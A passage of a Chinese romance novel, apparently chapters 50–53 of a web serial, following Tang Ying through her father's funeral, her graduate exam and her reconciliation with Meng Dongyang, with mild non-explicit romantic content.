病房里有七八个人,她不必进去哭一场凑热闹。她抬脚想去帮唐盈处理接下来的事情,腿迈开,步伐绵软无力,她撑住墙壁,稳了一会儿神后才重新迈开这双重重的腿。 走出住院部大楼时,外面春雨绵绵。 上次下病危通知书的时候,唐久安就帮衬着准备好了一些事情。见翟莉哭到发晕,听不进去什么要紧话,他只好还是一切都跟唐盈相商。 早几年青阳的公墓扩建时,老唐想着日后地价要飞涨,图便宜,买下两块墓地,一块他的,一块彭芳的,两块地挨在一起。 唐盈都不知道有这回事。她打起精神走过去告知翟莉,翟莉愣住神,而后摆了摆手:“你看着办吧。人都走了,以后谁跟他葬在一起,还有什么要紧的。” 彭文君唏嘘地想,算命先生的话算是应验了。 遗体挪到殡仪馆后,梅馨和谷瑞安赶来了,唐家负责张罗的长辈让他们俩按规矩戴孝,彭文君冲过去,一把扯走长辈手里的麻布,说能给老唐戴孝的只有她跟唐盈。 场面僵住时,薛晓慧站出来帮彭文君说话:“小叔生前没认过梅馨这个女儿和谷瑞安这个女婿,小叔心里只有文君和唐盈这两个闺女。” 翟莉急忙把梅馨拽走,让她不要在这里闹笑话。 当地规矩颇多,好在亲戚们都来帮忙,唐盈可以一心送别爸爸,不为别的杂事烦恼。 每隔一个小时,送灵的两个师傅吟唱祭文悼词,唐盈都需要跪下烧一次纸,倒三杯酒,每每这个时候她都会大哭一场。 来来回回地哭了一天后,她整个人都恍惚了。面前的人像是幻影,脚下的地也不再坚固。她枯坐在爸爸的遗像面前,一动不动,入定一般。 孟冬杨赶到青阳时夜已经深了。 殡仪馆的大厅里有十来个人在守夜,除了唐盈的朋友苏洋洋之外,其他的都是唐家的至亲。 唐久安在门口的茶台上倒水,看见孟冬杨出现,疲惫的眼睛隐隐有些发直。 孟冬杨朝唐久安颔首示意一下,踏进门里,径直走向大厅中央。 他跪在老唐的遗像前祭奠,彭文君搀着唐盈过来回礼,他手里的纸烧完后,彭文君倒了三杯白酒,对他说:“按规矩,家里的小辈才要敬酒,但是你敬我爸一杯吧。” 晚上彭芳来陪两个女儿,这会儿正跟薛晓慧坐在守灵的亲戚们当中。 看见孟冬杨出现后,彭芳看了身边薛晓慧一眼,薛晓慧垂着眼角,神情有些许复杂。 彭芳起身走到孟冬杨近处,让他陪唐盈坐到大厅的另一边。 唐盈刚坐下不久,午夜十二点到了,送灵的师傅来请她去后面的山上焚烧老唐的遗物。 孟冬杨想陪她一起,走到门口被唐久安拦下,唐久安说这不合规矩,连彭文君都不能去。孟冬杨却还是执意跟了过去。 馆外一片萧肃,两个师傅敲锣念唱,要唐盈一路烧纸扔掉。唐盈拿着纸,孟冬杨帮她点火,他们从殡仪馆的大门一路走进山里。 到了指定的位置后,唐盈和孟冬杨跪下来,打算焚烧老唐生前最常用和最喜欢的一些东西。 白天翟莉精神不济,这些东西是彭芳和薛晓慧去家里帮忙收拾来的。唐盈打开袋子一看,里面除了几样生活必需品之外,有毛笔、宣纸、香烟、纸牌,和一个唐盈小时候刻的木章,木章上写着三个字——好爸爸。 唐盈把木章攥紧在掌心里。 师傅说所有带来的东西都要烧掉。孟冬杨知道唐盈不舍得这个木章,从她的手心里把木章拿出来,藏进她的衣服口袋里。 火光升腾起来时,孟冬杨把唐盈带远,他们站在一米外的空地上,看这些东西慢慢化成灰烬。 所有的仪式都完成后,唐盈累倒了,断断续续地在家昏睡了两天。 她醒来的第一反应是要去医院看爸爸,她以为这只是过去寻常的一天。敲一敲脑袋后,她才从梦境回到现实,爸爸已经下葬了,爸爸走了。 她的眼泪流干了,心也有点麻木,呆呆地下了床,没穿鞋就走到客厅里,妈妈和孟冬杨都在。 孟冬杨跑回卧室里给唐盈找拖鞋,彭芳把她拉到沙发上坐下,问她想吃点什么,她说自己什么都能做。 唐盈把脸枕在妈妈的颈窝里,说:“你抱抱我吧。” 彭芳一怔,她这个从来都不会撒娇的小女儿从来没对她做过这样的动作说过这样的话。 老唐走,她都没掉几滴眼泪,这一刻,突然失声痛哭起来。她的女儿没有爸爸了,她这个天底下最关心爸爸的女儿,再也没有父亲了。 孟冬杨把纸巾塞进唐盈手里,让她给妈妈擦眼泪,蹲下去给她穿鞋。 唐盈把妈妈搂进怀里,安慰她道:“那我抱抱你。”她轻轻地拍着妈妈的肩膀,细心地给她擦着眼泪。 过了会儿,彭芳释放好了,想起身去做饭。唐盈把她拉住,说有些话想跟她说。 彭芳握住唐盈的手,“你说吧。” 唐盈思忖片刻后,哽咽着说道:“我爸太不负责了,没留下任何交代就走了。他在医院躺了301天,你风雪无阻地给他送了280天的流食,我替他谢谢你。你总是说你是替我做的,我心里却很清楚,这是你对他讲情义。从前我总是怨你们没给我提供好的成长环境,实际上,你们对我的爱,对彼此的关心,一点也不少。妈,我很爱爸爸,也很爱你。” 孟冬杨偏过头去,窗外的景色变得模糊,玻璃上相拥的母女俩也变得模糊。他抬起手,揉了揉眼角,折回去给内心柔软的女士们拿纸巾。 唐盈抬起眼睛对他挤出一个很难看的笑容,说:“谢谢你。” 孟冬杨伸手戳了戳她的梨涡,揉了揉她的头发,“不客气。” 八月里暑气正盛,汐汐和弟弟一人捧着一盒巧克力冰激凌站在入户花园里吃。 彭芳看了两个脏孩子一眼,数落彭文君道:“嫌脏就不要让他们吃。” 彭文君说:“小孟装的这房子,中央空调的效果太好了,门口那会儿覆盖不到冷气,他们站在那里吃不会闹肚子。” 唐盈在卧室里复习,说孩子倒是不吵,但是妈妈和姐姐一直聊八卦,声音太吵了,让她们俩把崽子们带去商场里玩。 彭芳笑了声:“你学成这样,到时候要是还考不上,那可就亏大了。” “呸呸呸!”唐盈猛地把门关上。 彭芳把孩子们带去小区里的活动中心玩,听说这个小区的房价已经快翻到一倍,二期也快竣工了,火急火燎地跑回家告诉唐盈这个好消息。 “小孟不是想卖掉他的别墅嘛,你快去打听打听啊。” 唐盈做不出来题,正恼火,被妈妈搅的心绪大乱,急声道:“孟冬杨说起码翻到两倍时再卖!” “老天爷哟,还翻两倍呢,就青阳这个小地方,房价还能涨到一万出头去?” “管他的呢,他想什么时候卖就什么时候卖。” “你倒是对他的事情上上心啊……” “知道了知道了!” 这年冬天,岛屿花园作为青阳最好的小区,均价上涨到一万一。 唐盈觉得是时候挂卖孟冬杨那套房子了,发了条消息等他的指示。 孟冬杨问:除了这些事,你就没有别的话跟我说吗?考试都考完了,你的心是铁做的吗? 唐盈回他:别惹我,我是玻璃心。 孟冬杨升职后外派去了波士顿,工作繁忙,这一年没有回来过年。他盼望着唐盈能对他说些好听话,说不定他一心软就舟车劳顿地赶回来了。 唐盈却只对他说了八个字:新年快乐,身体健康。 二月出了成绩,唐盈的分数在目标大学的复试线边缘徘徊,需要做复试和调剂两手准备。 她既高兴又苦恼,心情十分焦灼,开学后陡然丧失工作的热情。 孟冬杨觉得她已经考得很好了,也知道她付出了非常大的努力。在她确定参加复试后,三月底,飞到上海去陪她。 孟冬杨一来,唐盈就更紧张了,她问他:“我要是搞砸了怎么办?” “能怎么办,接受调剂或者再考一年,你继续吃苦,我继续等你。”孟冬杨认命地说。《 》 50-55 第51章 春日好 复试结束后, 唐盈没什么信心地跟孟冬杨去订好的餐厅吃饭。 这是他们认识的第三个春日了,老唐也已经去世一年。 坐在陌生城市的陌生餐厅里,眼神落在对方的身上, 唐盈觉得眼前的人有些失真。 就像这间华丽的餐厅,出现在上海的概率非常大,但是它无法建造在那座经济落后人均消费水平不高的南方小城。 她又自私地让这个男人在孤独中等待了她一年,男人看她的眼神竟没有分毫改变。 如果面前的孟冬杨是真的, 那他一定是个傻瓜。 这一年, 孟冬杨对唐盈的“唯结果论”有了更深的体会。 从前她执着于一段感情的结果, 执着于践行一份责任心, 如今执着于更具体的目标,把三百多天的学习成果看作阶段人生里的重中之重。 目的性这么强的人唯独对他是随缘的态度,这太不符合她惯有的思维逻辑。 自我说服时,孟冬杨告诉自己,他对这个女孩而言,一定是特殊且特别的一个人。 他想, 时间再往前走, 他总会成为她割舍不下的执念。 唐盈端起红酒杯碰了下孟冬杨的杯子,“我敬你, 今天这顿我请。” “你太客气了。”孟冬杨喝了一口酒,往唐盈的餐盘里放了一块她喜欢的食物。 唐盈问:“你这次休几天假?” 孟冬杨说他很久没休假了,打算陪她回青阳, 去看看她的家人。他本想直接说去看看她爸爸,最终还是回避了这个词。 唐盈自己却说道:“好,刚好赶上我爸一周年。” “你还记得我们俩第一次单独吃饭是什么时候吗?”孟冬杨问她。 唐盈微微眯了下眼睛, “这怎么可能不记得呢, 你过三十一岁生日那天。” “那时候你还没分手。” 唐盈鼓了下脸, 欲言又止。 孟冬杨淡笑道:“那天你穿的是一件鹅黄色的毛衣,你还记得我穿的什么衣服吗?” “你的衣服款式都差不多,不是黑的就是灰的,开衫、羊绒衫……” “你就是不记得了。”孟冬杨打断她的话。 “不记得才是正常的吧,那个时候我为什么要对你上心呢。” “但是你给我买蛋糕了。” “我那是客气。” “也不全是吧。” 唐盈梗住,让他别再扯这些有的没的。 孟冬杨又问她:“梅馨和谷瑞安的小孩会说话了吗?” “不知道,不了解。”唐盈露出一个“别问我这种问题”的眼神。 “你跟翟莉还有联系吗?” “基本上没了。” 老唐走后,留下来的公积金和补偿的一笔社保金,翟莉取出来后交给唐盈处理。唐盈把钱分成三份,她、彭文君、翟莉三人各一份。她觉得这是有情有义的爸爸渴望看到的公平。 彭芳当时嘀咕了一嘴,说要是老唐做决定,不见得会给大女儿留东西。 唐盈没跟妈妈理论,她觉得血缘关系并不重要,维系父女情谊的也不是“孝”这个字,而是“爱”这个字。 唐盈把这件事讲给孟冬杨听,孟冬杨若有所思。 唐盈继续说道:“孟冬杨,那个人说的不对,你是很懂爱的人。” 孟冬杨挑了下眉头,她这话来得太突然了。 他有些不适应地看着唐盈:“是考完试一身轻松了吗?终于肯把注意力放回到我身上了。” 唐盈低头看着面前这些食物,说:“今天这顿饭真好吃。” 唐盈有很多话想跟孟冬杨说,多到她需要列出一个框架,找到每一个表达的正确逻辑。 长时间的高阶学习让她很深刻地认知到,她的长处是什么,短板又是什么。 她的思辨能力好像还不错,但是口头表达能力有点弱,她的思维方式不够开阔,但是却能把把细节处理的很好。 这次复试之后,她突然意识到,她其实根本不爱学习,她对学习成果带来的人生改变也没有太大的期待。 考上了,她会放弃小城的生活,投身于更大的城市,进入一个崭新的世界。考不上,她也不打算再待在那座小城。 考研的结果不会影响她早就下定的决心。 爸爸生病期间和离开后的这些日子里,学习是唐盈应对痛苦的工具。 孟冬杨问她是为了什么想提升自己,她找到最开始的初心,有些不好意思去承认,一开始想要往上走,跟他有莫大的关系。 在过去很长一段时间里,她是找不到自我的。她只能抓住一些很小的目标,例如换一份待遇更好的工作,以及跟一个还不错的人缩短恋爱的距离。 如今她也依然不认为她考到了上海,甚至未来再去往比上海更远的地方,就能找到真正的自我。 但是每往前走一步,她的确可以看见更多的风景。 她不得不承认,在一座人情世故局限着自我发展的小城市,那些潜在的规则的确会束缚住一颗本就保守的灵魂。 唐盈意识到自己不是天生就豁达开阔的人。所以爸爸从前总是对她说“胆子大一点”“不要瞻前顾后”“多认识像孟冬杨这样的人对你没坏处”。 孟冬杨是什么样的人呢? 唐盈想,她对他的探索才刚刚开始。 她现在非常好奇,他的耐心到底从何而来。这三年,他的心境又经历了什么样的变化呢。 她终于有时间去认真琢磨。 她也会去琢磨老唐到底是一个什么样的男人,妈妈是一个什么样的女人。 爸妈的形象在爸爸离去后似乎有了新的面貌。 唐盈问孟冬杨:“我的变化很大吗?” 两人聊到这个话题的时候,他们已经从餐厅离开,进入了一家商场里的玩具店。 孟冬杨听她的话听得脑袋非常满,好几个瞬间,他觉得跟他喋喋不休地倾诉的这个女孩像一只闭关太久终于见到人类的蝴蝶。 她的翅膀一直拼命扇动,一会儿飞到他的眼皮上,一会儿飞到他的头顶,一会儿停在他的肩头,一会儿倏地飞进他的心间。 孟冬杨有些无奈地说:“你平时也可以跟我说这么多话的。” 不在的一起的日子,他们每天只互相道早安晚安。 唐盈冷漠地看着他:“你这人真记仇。” “感悟这么多,还以为你要读的是哲学心理学或者是社会学。” “我读不了文科……”唐盈趁机对孟冬杨说道:“我这个人不够感性,也不够理想主义,也不够浪漫主义……我太轴了。” “你轴得让我心梗。” “……” “但是你是懂浪漫的,我体会过。” 唐盈给汐汐和弟弟挑选好礼物后,孟冬杨想去付钱。 唐盈将他拦住:“刚刚吃饭你已经抢单了,我给我自己的外甥女和小外甥买东西,你就别抢了吧。” 孟冬杨脸色不悦:“你妈妈一直拿我当自家人看,你姐姐也是。只有你,总觉得我是外人。” “我跟我姐出去,我也不愿意只让她一个人花钱啊。”唐盈执意自己付了钱。 孟冬杨问:“那我去你姐姐家看孩子,我给他们带什么礼物?” “你要去?”唐盈疑惑道。 孟冬杨拧起眉心,“好,我不去。”话落拂袖而去。 唐盈把小气的男人拽住,“这些礼物算你买的,行吗?” 回酒店的路上,唐盈盯着孟冬杨看向车窗外的侧脸,“孟冬杨,你变了。” “被你磨的。”孟冬杨快速接话道。 唐盈耸一下肩膀,“我不是故意的。” 孟冬杨嘲讽道:“多么逃避责任的一句话啊。” “我需要对你负什么责?”唐盈质问他。 “很多。” “行,你回去列个清单给我,我们一笔一笔对账。” 车还未开到酒店,唐盈让师傅靠边停车。 孟冬杨问她要干什么。 唐盈说去便利店买东西,下了车后问他:“你没有什么要买的吗?” 孟冬杨摇头。 唐盈定定地看着他。 “没有。”孟冬杨重复一遍。 “好,那走吧。” 唐盈步伐很快地走在前面,身上法式衬衫的短飘带被夜风吹起来,她的下巴抬得很高。 孟冬杨跟在她后面,两只手各提着一大堆东西,手机响了,也不方便去看。 唐盈意识到自己没帮他提东西时,人已经快走到酒店门口。她回头,隔着几米远的距离看着这个男人,眼神有些茫然。 “怎么了?”孟冬杨靠近后问她。 “你累吗?”她也问他。 “我不累。” 唐盈接过他手里的一袋东西,嘟嚷道:“再过几年你都快四十了吧。” 孟冬杨冷笑着看了她一眼,丢掉她自行离去。 “我的意思是,你完全看不出年龄呢,刚刚我猛地那么一看,除了你身上这黑衬衣有点太成熟了,你的脸和你的身材看上去最多只有二十八岁。”唐盈快步追上去,跟在孟冬杨后面谄媚地说道。 孟冬杨懒得看她。 两人住的是套房,这两晚各睡各的房间。 开门之后,孟冬杨把东西放在门口的柜子里,先去洗手,然后又找衣服准备去洗澡。 唐盈回了自己的房间,整理晚上逛街时买来的一些文具。 她把行李放进行李箱的时候,从里面拿出一个小盒子。 待孟冬杨洗完澡,一身清爽地站在吧台上洗水果时,唐盈不动声色地把这个小盒子放到他的面前。 “是什么?”孟冬杨终于肯开口搭理她。 唐盈温声道:“迟到的三十三岁生日礼物。” 孟冬杨打开一看,里面是一枚小巧的上了漆的木章,上面刻着四个字——百事从欢。 他的眉眼舒展开,对唐盈扬了下下巴,“为什么是这四个字?” “就是希望你不管做什么都能开心。” “那我现在很不开心,怎么办?” 唐盈走过去拿走他掌心的章,碾碎一颗他洗好的蓝莓,蘸了蓝色的果汁,抬起手,盖在他的额头上。 第52章 给我下车 唐盈的呼吸近在咫尺, 孟冬杨低头看见她微红的唇瓣,目光触在一块儿,他身体本能地想要往前, 她却睫毛微闪,错开视线、侧过身,往自己的嘴巴里塞进一颗蓝莓。 “有点酸,你不要吃了。”她低声提醒道。 喉咙里划过一道涩感, 孟冬杨不听劝, 立即吃了一颗。 唐盈抿唇看着男人。 孟冬杨面无表情地说:“我觉得一点也不酸, 蓝莓比你甜多了。” 唐盈轻轻地瞪他。 洗完澡后, 唐盈没出房门直接躺下。 她实在是好累,刷了不到十分钟的手机就闭上了眼睛。考完试的第一个安心觉,不用为第二天早起看书学习而焦虑,连梦都是甜的。 生物钟在五点一刻响起,五分钟后,忘记提前关闭的闹铃声也响起。 唐盈有些空虚地看着天花板发起了呆, 混沌的时刻过去后, 才对睡在她隔壁房间里的男人产生一点好奇心。 要是昨晚孟冬杨去便利店里买了东西,她不会排斥跟他进行一些久违的亲密活动。 可惜他好像没有那个意思。 唐盈觉得自己已经很主动了, 身体也很诚实,只要靠近他,几乎下一秒就可以把他吃掉。 单纯的接吻都没办法好好填补堆砌已久的欲望。 孟冬杨的房门跟她一样没有锁。 她按下门把, 推开一条缝,里面寂静无声。她在门口站了一会儿后,决定先出趟门。 她按照导航找到那家老字号早餐店, 打包了生煎、粢饭团和豆浆。回去路上经过便利店, 买了必备的东西和两盒冰激凌。 孟冬杨喜欢在结束后跟她一起吃冰激凌, 冰冰凉凉的甜落入干燥发紧的喉咙,烧干的身体会得到清爽的润养。他们经常在吃完冰激凌后继续接吻。 想起这些很久没上演过的画面时,她现在就有想吃一口袋子里的冰激凌的冲动。 孟冬杨睡得不好。 是他自己的心态出了问题,醒来却第一时间给酒店写了差评,对床品进行了一些挑剔,又说隔音效果不好。 酒店的管家亲自送来定制礼品致歉。 唐盈回来的时候,门开着,西装革履的管家正在展示他精炼的口条。 孟冬杨裹着睡袍懒怠地坐在沙发上,看见唐盈手里提着几包东西进来,起身将管家送走。 门关上后,唐盈问:“怎么了?” “闹鬼。我一起来,房间里的人不见了。”孟冬杨阴阳怪气道。 唐盈说自己去买早餐了。 “酒店里有早餐。” “我就想吃这家。”唐盈把东西摆在餐桌上后,把便利袋里的冰激凌放进冰箱里。 孟冬杨问她:“还买了什么?” 唐盈看他皱着眉头,把袋子剩的两盒安全套拿出来也放在餐桌上。 孟冬杨愣了下神,然后转身回了房间。 唐盈怀疑这人有起床气,洗了手后自己坐在餐桌上开始吃东西。 彭文君发来消息,问他们晚上几点到霓城,孟冬杨去不去家里吃饭。 唐盈回复完姐姐后,问躲在房间里的人:“我们几点去机场?” 孟冬杨换了衣服出来,坐在唐盈的对面,把那两盒安全套扔远。 唐盈懒得理他,安静地品尝食物。 孟冬杨一直在期待唐盈能主动跟他说点什么,不是分开这两年的人生感悟或是经历低谷时的心路历程,这些他们可以慢慢聊。他需要一个明确示好的信号,哪怕只是主动拉一拉他的手。 可她竟然把心思放在他的功能性上,又或者,是在防备他。 没有安全用品就不能靠近他吗? “吃完饭我要工作一会儿,十点半我们出发去机场。”孟冬杨对油腻的生煎和干巴巴的饭团都没有兴趣,只喝了几口豆浆。 准备工作之前,他吃掉一些维生素和唐盈不知道是补什么的补剂。 唐盈看着他:“你太挑剔了。” “也许我只是没有胃口呢。去年我得了一段时间的胃病。” 唐盈没听说过他生病了,喉咙有点发紧。她放下手里的食物,扯了一张纸巾按在掌心,轻声道:“对不起,我对你的关心太少了。” 孟冬杨又吞下一粒钙片,“只是普通朋友,能互相问候已经很好了。” 收拾行李的时候,唐盈故意忽略掉餐桌上遗漏的安全套。 但这东西留下来也很尴尬,她来来回回地转了好几圈后,把这两个小方盒塞进了行李箱的最里层。 孟冬杨并不想留意她的一举一动,但她非常没有条理,一趟一趟进出房间和浴室,好几次还跑到他近处来找她的充电器和kindle。 跑了多那么趟,最后还是没找到她扎头发的发圈。 受她影响,他的工作进度为零。 当唐盈再次靠近的时候,孟冬杨从自己的裤子口袋里拿出一个棕色的发圈。 唐盈看过去,这不是她昨天用的那根,但是是她之前用过的。她不知道他是什么时候捡到的。 她想把发圈拿过来的时候,孟冬杨合上了他的手掌。 他冷声道:“去你枕头下面找吧。” 唐盈意识到这个男人的怨气有点重,这就是长时间异地带来的负面影响吗? 要是她现在嘴甜心软把他哄好,那之后他每次不开心,她都需要重复这样的举动吗? 他到底希望她做到什么程度? 唐盈觉得自己有点不会谈恋爱了。 准备离开房间的时候,唐盈走到孟冬杨的面前,面带笑容地问他:“你是在怪我昨天晚上洗完澡就直接睡了,还是怪我早上醒来没跟你打招呼就出门了?还是你觉得我必须主动跟你说一句什么话,才代表我们和好了?” 孟冬杨正欲接话,她隐隐地皱了下眉毛,“你的心思好难猜,我还以为我们已经和好了。其实你心里对我是有很多怨言的吧。” 冷静中带着一点烦躁的表情,是孟冬杨眼中,唐盈竖起那道屏障的信号。 她对他一直没什么耐心。她明明什么都知道,但是她不肯去做。 他要的真的很多吗? 唐盈继续说着:“如果只是一点小问题,你及时提出来,我会反省我自己,也会努力去改正。可是如果你已经怨了我两年,那我要怎么弥补我的自私呢?” “你真是越来越会说话了,你明知道我不可能去怨你的。”孟冬杨强迫唐盈抬起她低下的眉眼,“又过了两年,又经历了这么多事情,我在你心里的份量一点也没有变化吗?你对我这个人的评价,对我们之间感情的判断,也依然停在两年之前吗?” 话落孟冬杨松开了手,轻声对唐盈说了句“走吧”。 起得太早,犯困的唐盈在飞机上睡着了。睡着之前她脑子里还在想,要是她就这么睡了,这个男人又要怪她没心没肺了。 唉,好难伺候的一个人。 他努力赚钱就是为了出门必坐头等舱吗?距离太远,她连想撒撒娇把头枕在他肩膀上的机会都没有。 孟冬杨觉得自己再多跟唐盈谈几年恋爱的话,会短命。 他心里发笑,他本来就比她大了六七岁,再短命的话,她很可能年纪轻轻就要失去他。 算了,她对他从来都没有长远的考量,她根本无所谓他能陪她多久。 出于各种赌气的心理,他拍下一张唐盈不那么好看的睡容,打算落地后立刻发给她。 去年暑假,彭文君顺利离婚后,带着汐汐在他们学校附近租了一个新家。林律师已经尽了最大的努力,可还是没争取到弟弟的抚养权。 好在弟弟是个很精明的小孩,他用他自己的方式争取到周末两天和寒暑假各一个月的时间,来跟姐姐和妈妈团聚。 彭芳来霓城帮忙带小孩有半年多了,汐汐和弟弟跟她相处得很好,多年不跟妈妈一起生活的彭文君却时常跟她吵吵闹闹。 厨房里,为着孩子们对孟冬杨称呼的事,母女俩又吵开了。 彭芳问:“怎么就不能叫小姨夫了?从前汐汐叫谷瑞安也叫过小姨夫的。” 彭文君说这样叫担心孟冬杨会尴尬。 “他要是怕尴尬,就不会来吃这顿饭。”彭芳越说越激动,“要不是他一直没变心,一直在等唐盈,唐盈说不定都和路医生成了。” “你小声点,你总提路医生做什么,唐盈跟他又没什么。” 汐汐无奈地对唐盈和孟冬杨耸肩,“她们俩总是这样。” 孟冬杨把拼好的一块乐高递给汐汐,问她:“你见过路医生吗?” 弟弟在一边举手:“我见过路医生,他对小姨很好,他在追小姨。” “没有!”唐盈立刻反驳。 她紧张兮兮地捏住弟弟的脸,“再胡说,我就把你这张小嘴缝起来!” 孟冬杨摸了摸弟弟的头,继续问道:“他都是怎么追你小姨的?” 弟弟看了唐盈一眼,不敢再说,遁走了。 汐汐接话道:“追也没用啊,现在他还是输了。” 唐盈敲了下汐汐的脑袋:“输?这话是谁教你的?你偷偷看偶像剧了吧!” “你怎么这么凶,别把你的职业病带回家。”孟冬杨睨着唐盈。 彭芳做了八菜一汤,全部都是孟冬杨之前喜欢吃的。唐盈说她们今年过年也就是个规格。 彭文君给孟冬杨敬酒,感谢他介绍林乔伊这么好的律师给她,还给她提供一份这么好的工作,这才能让她能够脱离婚姻的苦海。 孟冬杨不愿意客套,说这些都是他应该做的。 彭文君开玩笑道:“好在我大你半岁,能担得起你叫我一声姐姐。” “唉哟,那小孟也快三十五了吧。”彭芳哪壶不开提哪壶。 唐盈纠正她的说法,“最讨厌你们老年人算虚岁了,明明三十四还不到。” 孟冬杨知道彭芳是个嘴硬心软的人,但过去相处那么多次,她基本上能做到对他温柔和蔼,可这次回来,她对他的态度变了。 他猜到这是为什么。这跟那个路医生有关。 “你妈妈喜欢路晨,她觉得路晨在本地,跟你年龄阅历相仿,又耐心陪伴你两年,很了解你,也很理解你,对吧。”孟冬杨说这些话的时候,心里在胀气,语气却异常平静。 他们正行驶在回孟冬杨家的路上,此时道路安静,两个人的心却焦躁不已。 没喝酒的唐盈负责开车,听完这些话后,她的脸上有点尴尬,她解释道:“我妈就是喜欢图一时口快,她也挺喜欢你的。” “她不喜欢我,她一直都觉得我跟你们有距离,就像你一直觉得你不能跟我走到最后一样,在你们心里,路晨跟你是一路人,我不是。” “她都让两个小孩叫你小姨夫了,你还要她怎么表态呢。”唐盈把车停在路边,“烦死了,我都不能好好开车了。” “你烦什么?说到你痛处了是吧?” 唐盈急了,“你给我下车!” 【作者有话说】 久等了~ 100个红包~ 第53章 我需要你 孟冬杨当真下了车。他大步流星地踏上人行道, 心里乱着,没顾及方向,竟然往家的反方向走去。 唐盈心一沉, 想去踩油门,可惜脚软心也软。 问题还是要解决,她不能就这样把他丢掉。 确定这个路段可以停车后,唐盈气鼓鼓地松开安全带, 推开车门下车去追人。 孟冬杨听见身后的脚步声, 停住脚, 回了头。她能下车追他, 他的气立马就消了一半。 唐盈看见男人回头后有些许尴尬,站定在原地,头偏到一边,不肯再往前走。 两人之间隔着十来米的距离。 寂静的街道,柏油路面上摇晃着黑色的树影,风很轻, 暮春的夜晚有最舒适的温度和湿度。 这样美好的春夜用来生气实在是浪费。 唐盈好久没有出现过这样的情绪了。这种口舌之争和你追我赶就像她班里的两个小孩在拌嘴打闹。 她是不喜欢吵架的人, 可是忽然间竟找到一点乐趣。 她怎么样也想不到有一天她会跟孟冬杨一起变成幼稚鬼。 他们进入了恋爱的新阶段了吗? 孟冬杨看着唐盈抱起了胳膊。她很少做这样的动作,这是专属于他的傲慢。 他想看她能傲慢多久。 这人竟然一动不动, 这样较劲有什么意思呢。唐盈站累了,顺势蹲在了地上,脑袋垂下去。 孟冬杨见状, 眉心一蹙,快步朝她走去。 唐盈看见一双长腿靠近,眼波流转。在鞋尖离她半米的时候, 她倏地站起身来, 一把抓住孟冬杨的手, 把他往回拽,“我让你下车你就下车,你也太听话了。” 孟冬杨心里一怔,她力气怎么这么大。 她哄人的姿态太不温柔了。 唐盈拉开副驾的门把孟冬杨推了进去。 孟冬杨仍旧沉着一张脸。 “安全带。”唐盈提醒他。 男人故意僵着,不肯动。 唐盈俯身过去帮他系,手刚触上那根带子,她折颈与他四目相对。 “孟冬杨。”她鼻息靠近。 孟冬杨回避了她的注视。 “你真作。”唐盈贴住了他的嘴唇。 孟冬杨的脸颊被捧住,呼吸被夺走,她延续强势的姿态,很快,整个人都坐了上来。 吻完他的嘴唇,她又去咬他的耳朵,牙齿在他的耳垂上留下痕迹。 湿润的触感点燃了他半个身体,娇吟的声息钻进他的脑袋,他感觉自己正在被吞噬。 唐盈想帮孟冬杨回顾他们第一次接吻的感觉。 她很清晰地记得那一天,每一个细节她都努力去复刻。那天他是如何引诱她的,眼下她就怎么向他展示她的学习成果。 她的程度比那天要更深。 孟冬杨觉得自己抱着一条美女蛇。剥离不掉躲避不开的时候,就只能跟她分食她身体里甜蜜的浆果。 久违的亲吻像春风吹走了书桌上的灰尘,露出来的台面上,有他们曾经一起书写的扉页。 他们分开的时间比在一起的时间要长太多了。 扉页翻开,会是新的章程。 唐盈的腿缩得太久,有点酸麻。 她枕在孟冬杨的颈窝里,把他的手掌挪到自己的小腿上,让他给自己按摩。 孟冬杨重重地捏了一下她腿弯处的筋,“你倒是会享受。” 唐盈吃痛,“哎哟”一声,又低低地笑出声来。 “笑什么?”孟冬杨问。 唐盈搂住他的脖子,“你变了。” “你也变了。” “现在你心里舒服点了吗?”唐盈用掌心按住他的心脏。 “没有。”孟冬杨故意说道。 唐盈叹气:“白亲了。” 唐盈从孟冬杨的腿上下来,坐回到驾驶位。 她摆出一副严肃认真的样子,问孟冬杨:“不管这两年我们对这段关系的定义一不一致,现在我们还是喜欢彼此,还想要继续在一起,对不对?” “我从来没有接受过你分手的提议,在我心里我们根本没有分过手。” “所以你是介意路医生?” “这不是重点。” 虽然他说这不是重点,但唐盈觉得还是需要好好解释一下这件事。 她的语气十分柔软,“路医生从来没有跟我表白过,我心里有你,我也从来没有对他动过心,我妈说的那些话根本就不成立。我妈会这样想,这是她思维上的局限性,我不会受她干扰,你要信任我。至于差距这个问题,是我们之间客观存在的事实,我们需要一起去解决物理距离的问题,其他方面的距离,你只要邀请我就好了,我会自己走到你的世界里去。只有我心里清楚了,踏实了,能跟我妈讲明白了,她才有可能扭转对我们关系的看法。” 顿了顿,她继续说道:“我妈有她的局限性,我也有我短视的地方。之前觉得没办法跟你长久,是我不够自信,也是……我的心机,对,心机,这样说,你好受点了吗?” “那现在呢?我要听现在。”孟冬杨的眼神无法从说话的唐盈脸上移开。她不知道她说这些话的语气和神态有多美。 他想他会永远记得她今晚的样子。 唐盈回答他的话:“我比两年更喜欢你。我以为我们就这样分手了,我的心一下子老了好几岁。但是刚刚我跑下车去追你的时候,我觉得我好像回到了十八岁。我不喜欢在手机里谈恋爱,我想见到你。我需要你。” “你好甜。”孟冬杨伸手触了下唐盈的脸。 唐盈把他的手掌按在自己的脸颊上,吻了吻他的手指,“我进步了,可是你倒退了。九十五分没有了,你现在只有八十分了。” 孟冬杨不好哄,所以唐盈愿意把话说满。 过去爸妈总是为着一些很小的事情吵架,其实只要其中一个人先示个弱,长嘴哄一哄,矛盾就会立刻消除。 唐盈觉得孟冬杨有生气的权利,但是他的气最好不要超过今晚十二点。 她看了看时间,十一点整。 她提前一个小时完成了任务。 唐盈的话里有很多值得细细思考的点,孟冬杨都记下了。 他有一种跑马拉松跑过半程后遥遥领先的兴奋感。他想从唐盈身上得到的东西,终于赢得了一半。 他没有放弃,也没想过要放弃,他要感谢自己的坚持,也要感谢唐老师的耐心。 彭芳早起就开始催唐盈,问她跟孟冬杨怎么还不过来接她们。一家人要一起回青阳祭拜老唐。 彭文君说唐盈和孟冬杨久未团聚,早上起不来也是正常的,让她稍安勿躁。 彭芳轻嗤道:“异地恋谈起来真是累人哦。” 昨晚做了好几次,唐盈累的根本起不来。 孟冬杨看了看时间,已经九点半,把她从被子里拖出来。 唐盈坐直身体,小腹痛得厉害,下了床,大腿内侧酸到走不了路。 孟冬杨看着她一瘸一拐地去浴室,打趣她:“你这一年都没有锻炼身体吗?” “白天上班,晚上和周末要复习,哪有时间锻炼啊。” 孟冬杨不禁有些得意,昨夜卖力的是他,起床后他却神清气爽,可见年龄差这个问题根本就是多虑。 唐盈对着镜子刷牙,孟冬杨走到她身边问她:“你满足了吗?” 